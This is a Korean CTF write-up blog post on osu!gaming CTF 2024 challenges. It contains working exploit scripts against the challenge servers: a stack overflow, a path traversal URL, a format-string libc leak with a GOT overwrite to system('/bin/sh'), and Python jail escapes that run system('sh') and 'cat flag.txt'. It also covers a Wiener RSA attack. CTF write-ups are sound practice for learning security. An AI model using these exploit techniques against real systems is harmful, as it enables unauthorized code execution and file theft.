[solved]
pwn/betterthanu
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
FILE *flag_file;
char flag[100];
int main(void) {
unsigned int pp;
unsigned long my_pp;
char buf[16];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("How much pp did you get? ");
fgets(buf, 100, stdin);
pp = atoi(buf);
my_pp = pp + 1;
printf("Any last words?\n");
fgets(buf, 100, stdin);
if (pp <= my_pp) {
printf("Ha! I got %d\n", my_pp);
printf("Maybe you'll beat me next time\n");
} else {
printf("What??? how did you beat me??\n");
printf("Hmm... I'll consider giving you the flag\n");
if (pp == 727) {
printf("Wait, you got %d pp?\n", pp);
printf("You can't possibly be an NPC! Here, have the flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), flag_file);
printf("%s\n", flag);
} else {
printf("Just kidding!\n");
}
}
return 0;
}
변수의 선언은 pp, my_pp, buf 순으로 되어 buf가 스택 바닥쪽에 있을 것 같지만,
실제 스택에선 buf 뒤에 pp, my_pp가 있다.
따라서 buf에 100만큼 입력할 때 pp, my_pp를 오버라이트 할 수 있다.
from pwn import *
context.log_level = 'debug'
# p = process('./challenge')
p = remote('chal.osugaming.lol', 7279)
p.sendlineafter(b'get? ',b'1')
p.sendlineafter(b'words?',b'a'*0x10 + b'\x00'*0xc + p32(727))
p.interactive()
osu{i_cant_believe_i_saw_it}
reverse/SAT-before-osu
손으로 풀기엔 오래걸리는 수식들이 주어진다.
b + c + w = 314
t + d + u = 290
p + w + e = 251
v + l + j = 274
a + t + b = 344
b + j + m = 255
h + o + u = 253
q + l + o = 316
a + g + j = 252
q + x + q = 315
t + n + m = 302
d + b + g = 328
e + o + m = 246
v + v + u = 271
f + o + q = 318
s + o + j = 212
j + j + n = 197
s + u + l = 213
q + w + j = 228
i + d + r = 350
e + k + u = 177
w + n + a = 288
r + e + u = 212
q + l + f = 321
수식의 해를 구할 땐 z3모듈을 사용한다.
(gpt를 이용해서 코드 짜달라고 함)
from z3 import *
s = Solver()
f = open('ctf\osu\SAT-before-osu\dist.txt')
formulas_str = f.readlines()
# 변수 선언을 위한 빈 리스트 생성
variables = []
# 수식 생성을 위한 빈 리스트 생성
formulas = []
# 문자열로 된 수식을 순환하면서 수식을 BitVec로 변환
for formula_str in formulas_str:
if formula_str.strip(): # 빈칸 제거
formula_list = formula_str.split(' ') # 빈칸을 기준으로 분할
# 변수와 상수 추출
var_1 = BitVec(formula_list[0], 32)
var_2 = BitVec(formula_list[2], 32)
var_3 = BitVec(formula_list[4], 32)
# 수식을 만들어 수식 리스트에 추가
formulas.append(var_1 + var_2 + var_3 == int(formula_list[6]))
# 모든 수식을 And() 함수로 결합
combined_formula = And(formulas)
# Solver 생성
solver = Solver()
# 결합된 수식을 Solver에 추가
solver.add(combined_formula)
# Solver가 문제를 해결할 수 있는지 확인
if solver.check() == sat:
# 해 출력
m = solver.model()
for d in sorted(m.decls(), key=lambda v: str(v)):
print(chr(m[d].as_long() & 0xff),end='')
else:
print("Unsatisfiable")
osu{0rZ_p3PpY_my_s4v1oR}
web/mikufanpage
const express = require('express');
const path = require('path');
const app = express();
const PORT = process.env.PORT ?? 3000;
app.use(express.static(path.join(__dirname, 'public')));
app.listen(PORT, (err) =>{
if(!err)
console.log("mikufanpage running on port "+ PORT)
else
console.log("Err ", err);
});
app.get("/image", (req, res) => {
if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
res.sendFile(path.resolve('./img/' + req.query.path));
} else {
res.status(403).send('Access Denied');
}
});
/image에 get으로 접근할 때 path 파라미터의 값을 검사한다.
'.' 문자를 기준으로 문자열을 분리해서 검사하는 단순한 로직이므로 우회 가능하다.
https://mikufanpage.web.osugaming.lol/image?path=.png./../flag.txt
osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}
crypto/base727
base727이라는 요상한 형태의 문제다.
import binascii
flag = open('flag.txt').read()
def encode_base_727(string):
base = 727
encoded_value = 0
for char in string:
encoded_value = encoded_value * 256 + ord(char)
encoded_string = ""
while encoded_value > 0:
encoded_string = chr(encoded_value % base) + encoded_string
encoded_value //= base
return encoded_string
encoded_string = encode_base_727(flag)
print(binascii.hexlify(encoded_string.encode()))
일단 문자열을 hex 값으로 바꾸고,
727로 나눈 나머지 값을 encoded_string에 저장한다.
그리고 727로 나눈 몫을 다음 라운드로 가져가서
727로 나누고 나머지 값을 encoded_string에 저장하는 과정을 0이 될 때까지 반복한다.
이 과정을 역산하면 평문을 복원할 수 있다.
문제에서 인코딩 문자열은 주어지는데
hexlify(encoded_string.enocde())를 거쳐서 나온 결과다.
따라서 decode()를 해주고 ord로 원래 숫자로 복원해준 뒤 역연산을 수행해야 한다.
def decode_base_727(hex_str):
utf8_str = bytes.fromhex(hex_str).decode()
plain_str = 0
for u in utf8_str:
plain_str = plain_str*727 + ord(u)
return plain_str
encoded_str = "06c3abc49dc4b443ca9d65c8b0c386c4b0c99fc798c2bdc5bccb94c68c37c296ca9ac29ac790c4af7bc585c59d"
result = hex(decode_base_727(encoded_str))[2:]
byte_string = bytes.fromhex(result)
print(byte_string.decode("ASCII"))
osu{wysiwysiwysiywsywiwywsi}
crypto/ROSSAU
rsa weiner 툴을 이용해서 풀 수 있다.
https://github.com/pablocelayes/rsa-wiener-attack
해당 레포지토리를 클론하고 RSAwienerHacker.py에 다음과 같이 코드를 추가해준다.
'''
Created on Dec 14, 2011
@author: pablocelayes
'''
import ContinuedFractions, Arithmetic
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
_, convergents = ContinuedFractions.rational_to_contfrac(e, n)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d
e = 876603837240112836821145245971528442417
n = 5912718291679762008847883587848216166109
d = hack_RSA(e,n)
print(d)
124493
124493번째 유저의 이름이 플래그이다.
osu{chocomint}
web/when-you-dont-see-it
주어지는 프로필 페이지에서 소스 코드 보기를 누른 다음 flag를 검색하면
base64로 인코딩된 플래그를 찾을 수 있다.
osu{ok_u_see_me}
[unsolved]
pwn/miss-analyzer
일단 fsb 오랜만에 봐서 뇌정지 왔고 시간도 오버되서 그냥 롸업 봐버린 문제
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char byte; // [rsp+15h] [rbp-14Bh]
__int16 v6; // [rsp+16h] [rbp-14Ah]
char *lineptr; // [rsp+18h] [rbp-148h] BYREF
size_t n; // [rsp+20h] [rbp-140h] BYREF
void *ptr; // [rsp+28h] [rbp-138h] BYREF
size_t binsize; // [rsp+30h] [rbp-130h] BYREF
void *ptr2; // [rsp+38h] [rbp-128h] BYREF
char format[264]; // [rsp+40h] [rbp-120h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
lineptr = 0LL;
n = 0LL;
if ( getline(&lineptr, &n, stdin) <= 0 ) // get line
break;
v3 = lineptr;
v3[strcspn(lineptr, "\n")] = 0; // \n to \0
if ( !*lineptr )
break;
binsize = hexs2bin(lineptr, &ptr); // hex to bin
ptr2 = ptr;
if ( !binsize )
{
puts("Error: failed to decode hex");
return 1;
}
puts("\n=~= miss-analyzer =~=");
byte = read_byte(&ptr2, &binsize); // get 1byte #1
if ( byte )
{
switch ( byte )
{
case 1:
puts("Mode: osu!taiko");
break;
case 2:
puts("Mode: osu!catch");
break;
case 3:
puts("Mode: osu!mania");
break;
}
}
else
{
puts("Mode: osu!");
}
consume_bytes(&ptr2, &binsize, 4); // for(4) { read_byte(&ptr2, &binsize) } #2~5
read_string(&ptr2, &binsize, format, 0xFFu);
printf("Hash: %s\n", format);
read_string(&ptr2, &binsize, format, 0xFFu);
printf("Player name: ");
printf(format);
putchar('\n');
read_string(&ptr2, &binsize, format, 0xFFu);
consume_bytes(&ptr2, &binsize, 10); // for(10) { read_byte(&ptr2, &binsize) }
v6 = read_short(&ptr2, &binsize);
printf("Miss count: %d\n", (unsigned int)v6);
if ( v6 )
puts("Yep, looks like you missed.");
else
puts("You didn't miss!");
puts("=~=~=~=~=~=~=~=~=~=~=\n");
free(lineptr);
free(ptr);
}
return 0;
}
size_t __fastcall hexs2bin(const char *a1, void **a2)
{
char v3; // [rsp+16h] [rbp-1Ah] BYREF
char v4; // [rsp+17h] [rbp-19h] BYREF
size_t i; // [rsp+18h] [rbp-18h]
size_t size; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( !a1 || !*a1 || !a2 )
return 0LL;
size = strlen(a1);
if ( (size & 1) != 0 )
return 0LL;
size >>= 1;
*a2 = malloc(size);
memset(*a2, 0x41, size);
for ( i = 0LL; i < size; ++i )
{
if ( !(unsigned int)hexchr2bin((unsigned int)a1[2 * i], &v3)
|| !(unsigned int)hexchr2bin((unsigned int)a1[2 * i + 1], &v4) )
{
return 0LL;
}
*((_BYTE *)*a2 + i) = v4 | (0x10 * v3);
}
return size;
}
__int64 __fastcall read_byte(_QWORD *a1, _QWORD *a2)
{
unsigned __int8 v3; // [rsp+1Fh] [rbp-1h]
if ( !*a2 )
{
puts("Error: failed to read replay");
exit(1);
}
v3 = *(_BYTE *)(*a1)++;
--*a2;
return v3;
}
__int64 __fastcall consume_bytes(_QWORD *a1, _QWORD *a2, int a3)
{
__int64 result; // rax
unsigned int i; // [rsp+2Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a3 )
break;
read_byte(a1, a2);
}
return result;
}
분석을 하다보면 '0b'를 기준으로 파싱을 수행하는 것을 알 수 있다.
구조를 파악해서 페이로드를 작성하면 printf(format)에서 fsb를 터뜨릴 수 있다.
got overwrite로 strlen을 system으로 오버라이트 한다.
from pwn import *
import binascii
context.log_level = 'debug'
context.bits = '64'
# p = process('./analyzer')
p = remote('chal.osugaming.lol', 7273)
libc = ELF('libc.so.6')
e = ELF('./analyzer')
pay = b'41'*5 + b'0b' + b'00' + b'0b' + b'8002' + b'7c25700a'*0x40 + b'0b' + b'44'*0x45 + b'0b' + b'45'*0x46
p.sendlineafter(b'/analyzer):',pay)
for _ in range(3):
p.recvuntil(b'|')
libc_base = int(p.recvline()[:-1],16) - 0x114887
print('[libc]',hex(libc_base))
libc.address = libc_base
pay = fmtstr_payload(14, {e.got['strlen']: libc.sym['system']})
print(len(pay),pay)
pay = b'\x41'*5 + b'\x0b' + b'\x00' + b'\x0b' + int.to_bytes(len(pay),1,'little') + pay + b'\x0b' + b'\x00' + b'\x0b' + b'\x45'*0x46
pay = binascii.hexlify(pay)
p.sendlineafter(b'/analyzer):',pay)
pay = b'/bin/sh'
p.sendlineafter(b'/analyzer):',pay)
p.interactive()
osu{1_h4te_c!!!!!!!!}
pwn/osujail
python jailbreak 문제인데 처음 봤다.
글로벌 빌트인을 다 없앴고, 필터링이 존재한다.
backup_len = len
backup_eval = eval
backup_print = print
backup_input = input
backup_all = all
backup_ord = ord
def rescued_osu(input):
return input.count('o') == 1 and input.count('s') == 1 and input.count('u') == 1
def caught_by_guards(input):
return '[' in input or ']' in input or '{' in input or '}' in input or not backup_all(0 <= backup_ord(c) <= 255 for c in input)
globals()['__builtins__'].__dict__.clear()
input = backup_input()
if caught_by_guards(input) or not rescued_osu(input):
backup_print('[You failed to break the jail]')
else:
backup_print(backup_eval(input,{},{}))
https://github.com/SuperStormer/writeups/tree/master/osugamingctf_2024/osujail
라업 봐도 잘 모르겠다 ㅋㅋ..
다른 익스 코드 보면서 천천히 이해해보는걸로..
((f := lambda: (0, (), 1, 133, '\x73y\x73tem', '\x73h')),f.__dict__.update((('c\x6f_name\x73',('__cla\x73\x73__', 'mr\x6f', '__\x73\x75bcla\x73\x73e\x73__', '__init__', '__gl\x6fbal\x73__')), ('c\x6f_c\x6fde',b'd\x01j\x00\xa0\x01\xa1\x00d\x02\x19\x00\xa0\x02\xa1\x00d\x03\x19\x00j\x03j\x04d\x04\x19\x00d\x05\x83\x01S\x00'))),f.__setattr__('__c\x6fde__', f.__code__.replace(**f.__dict__)),f())
(lambda a: (lambda b : (lambda c: b(c, '\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F').__getitem__('\x73\x79\x73\x74\x65\x6D')('cat flag.txt'))(b(a, '\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F')().__getitem__(-4).__init__))(a.__dict__.__getitem__('\x5F\x5F\x67\x65\x74\x61\x74\x74\x72\x69\x62\x75\x74\x65\x5F\x5F')))('o'.__getattribute__('\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F').__base__)
(g:=().__init__().__new__.__self__.__getattribute__,d:=().__doc__,O:=d.__getitem__(34),S:=d.__getitem__(19),U:=d.__getitem__(1),x:=g(g((),"__cla"+S+S+"__"),"__ba"+S+"e__"),i:=g(x,"__"+S+U+"bcla"+S+S+"e"+S+"__")().__getitem__(-4).__init__,g(i,"__gl"+O+"bal"+S+"__").__getitem__(S+"y"+S+"tem")(S+"h"))
osu{3z_orid1n4ry_pyj4il_ch4ll}
'CTF' 카테고리의 다른 글
Pearl CTF (0) | 2024.03.11 |
---|---|
Shakti CTF 2024 (0) | 2024.03.10 |
TetCTF 2024 (0) | 2024.01.29 |
vsCTF 2023 (0) | 2023.09.25 |
CSAW CTF Qualification Round 2023 (0) | 2023.09.18 |